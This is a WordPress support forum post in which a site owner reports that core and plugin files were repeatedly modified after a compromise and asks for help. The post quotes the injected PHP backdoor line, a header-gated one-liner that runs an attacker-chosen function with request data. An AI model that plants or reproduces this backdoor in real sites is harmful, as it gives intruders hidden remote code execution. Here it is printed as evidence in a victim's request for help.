{"id":5615456,"date":"2014-12-28T11:28:31","date_gmt":"2014-12-28T11:28:31","guid":{"rendered":"https:\/\/wordpress.org\/support\/topic\/files-being-modified-with-following-code\/"},"modified":"2016-08-22T13:53:43","modified_gmt":"2016-08-22T13:53:43","slug":"files-being-modified-with-following-code","status":"closed","type":"topic","link":"https:\/\/wordpress.org\/support\/topic\/files-being-modified-with-following-code\/","title":{"rendered":"Files Being Modified With Following Code"},"content":{"rendered":"<p>One of my website was compromised. Since it only had like 5 pages. I saved all the pages text and completely deleted the files &amp; database and installed everything from start. I also changed database username, pass but didn&#8217;t change addon\/ftp pass.<\/p>\n<p>After installing wordfence, sucuri &amp; acunetix wp security and configuring these plugins i thought i have pretty secured my website. Site is hosted in HostGator.<\/p>\n<p>But to my surprise within like 24 hours 4 of my core files where modified<\/p>\n<p>Critical Problems:<br \/>\n* WordPress core file modified: wp-admin\/edit-form-advanced.php<br \/>\n* WordPress core file modified: wp-includes\/date.php<br \/>\n* WordPress core file modified: wp-includes\/ms-default-filters.php<\/p>\n<p>Warnings:<br \/>\n* Modified plugin file: wp-content\/plugins\/add-tags-and-category-to-page\/includes\/tcp_footer.php<\/p>\n<p>When checked through wordfence showed that all file has an added line at the top of the which is:<\/p>\n<p>\t&lt;?php if(@md5($_SERVER[&#8216;HTTP_PATH&#8217;])===&#8217;5cd2973f835de94b560b62465d5a37f3&#8242;){ @extract($_REQUEST); @die($stime($mtime)); } ?&gt; <\/p>\n<p>I am pretty sure this is a hack, but I am not getting how they are getting through my site when everything is up-to-date, all freely available plugins has only been installed (nothing privacy of any sort).<\/p>\n<p>Also, can someone decode that code&#8230; what is it about&#8230; and how can i protect the site&#8230; i am really concerned..though i have now also changed the ftp\/addon password<\/p>\n<p>please help me!<\/p>\n<p>https:\/\/wordpress.org\/plugins\/wordfence\/<\/p>\n","protected":false},"template":"","class_list":["post-5615456","topic","type-topic","status-closed","hentry","topic-tag-website-hack"],"jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic\/5615456","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic"}],"about":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/types\/topic"}],"version-history":[{"count":0,"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic\/5615456\/revisions"}],"wp:attachment":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/media?parent=5615456"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}